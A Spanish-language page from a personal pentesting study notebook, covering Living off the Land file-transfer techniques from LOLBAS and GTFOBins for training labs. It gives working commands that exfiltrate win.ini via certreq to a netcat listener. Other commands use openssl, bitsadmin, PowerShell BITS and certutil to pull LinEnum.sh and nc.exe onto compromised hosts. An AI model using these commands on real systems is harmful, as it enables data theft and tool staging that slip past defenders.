beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
Powered by GitBook
On this page
  • Usando los Proyectos LOLBAS y GTFOBins
  • LOLBAS
  • Subir win.ini a nuestro Pwnbox
  • Archivo recibido en nuestra sesión de Netcat
  • GTFOBins
  • Crear un Certificado en nuestro Pwnbox
  • Iniciar el Servidor en nuestro Pwnbox
  • Descargar un Archivo desde la Máquina Comprometida
  • Otras Herramientas Comunes de Living off the Land
  • Función de Descarga de Bitsadmin
  • Descargar Archivos con Bitsadmin
  • Certutil

Was this helpful?

  1. APUNTES HACKING
  2. File Transfers

Living off The Land

El término "Living off the land" fue acuñado por Christopher Campbell (@obscuresec) y Matt Graeber (@mattifestation) en DerbyCon 3.

El término LOLBins (Living off the Land Binaries) surgió de una discusión en Twitter sobre cómo llamar a los binarios que un atacante puede usar para realizar acciones más allá de su propósito original. Actualmente, hay dos sitios web que agregan información sobre los binarios Living off the Land:

  • LOLBAS Project para binarios de Windows

  • GTFOBins para binarios de Linux

Los binarios de Living off the Land pueden usarse para realizar funciones como:

  • Descargar archivos

  • Subir archivos

  • Ejecución de comandos

  • Leer archivos

  • Escribir archivos

  • Evadir mecanismos de seguridad

Esta sección se centrará en el uso de los proyectos LOLBAS y GTFOBins y proporcionará ejemplos de funciones de descarga y carga en sistemas Windows y Linux.

Usando los Proyectos LOLBAS y GTFOBins

Los sitios web de LOLBAS para Windows y GTFOBins para Linux nos permiten buscar binarios que pueden ser utilizados para diferentes funciones.

LOLBAS

Para buscar funciones de descarga y carga en LOLBAS, podemos utilizar las rutas /download o /upload.

Ejemplo con CertReq.exe:

Necesitamos escuchar en un puerto en nuestro host de ataque usando Netcat y luego ejecutar certreq.exe para subir un archivo.

Subir win.ini a nuestro Pwnbox

C:\htb> certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini

Error potencial:

Certificate Request Processor: The operation timed out 0x80072ee2 (WinHttp: 12002 ERROR_WINHTTP_TIMEOUT)

Esto enviará el archivo a nuestra sesión de Netcat, donde podemos copiar y pegar su contenido.

Archivo recibido en nuestra sesión de Netcat

sherlock28@htb[/htb]$ sudo nc -lvnp 8000
listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.1] 53819
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/json
Content-Length: 92
Host: 192.168.49.128:8000

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Si obtenemos un error al ejecutar certreq.exe, es posible que la versión que usamos no contenga el parámetro -Post. Se puede descargar una versión actualizada e intentarlo de nuevo.

GTFOBins

Para buscar funciones de descarga y carga en GTFOBins para binarios de Linux, podemos usar +file download o +file upload.

Ejemplo con OpenSSL:

OpenSSL es frecuentemente instalado y utilizado por administradores de sistemas para generar certificados de seguridad, entre otras tareas. OpenSSL puede ser usado para enviar archivos de manera similar a Netcat.

Crear un Certificado en nuestro Pwnbox

sherlock28@htb[/htb]$ openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

Generar una clave privada RSA:

Generating a RSA private key
.......................................................................................................+++++
................+++++
writing new private key to 'key.pem'
-----

Iniciar el Servidor en nuestro Pwnbox

sherlock28@htb[/htb]$ openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

Con el servidor en ejecución, podemos descargar el archivo desde la máquina comprometida.

Descargar un Archivo desde la Máquina Comprometida

sherlock28@htb[/htb]$ openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Otras Herramientas Comunes de Living off the Land

Función de Descarga de Bitsadmin

El Background Intelligent Transfer Service (BITS) puede usarse para descargar archivos desde sitios HTTP y comparticiones SMB. BITS gestiona la utilización del host y la red para minimizar el impacto en el trabajo del usuario.

Descargar Archivos con Bitsadmin

PS C:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

PowerShell también permite interactuar con BITS, habilitando descargas y subidas de archivos, soporte de credenciales y el uso de servidores proxy especificados.

Descarga con PowerShell

PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

Certutil

Casey Smith (@subTee) descubrió que Certutil puede usarse para descargar archivos arbitrarios. Está disponible en todas las versiones de Windows y ha sido una técnica popular de transferencia de archivos, sirviendo como una especie de wget para Windows. Sin embargo, actualmente, la interfaz AMSI detecta esto como un uso malicioso de Certutil.

Descargar un Archivo con Certutil

C:\htb> certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe
PreviousCatching Files over HTTP/SNextDetection

Last updated 7 months ago

Was this helpful?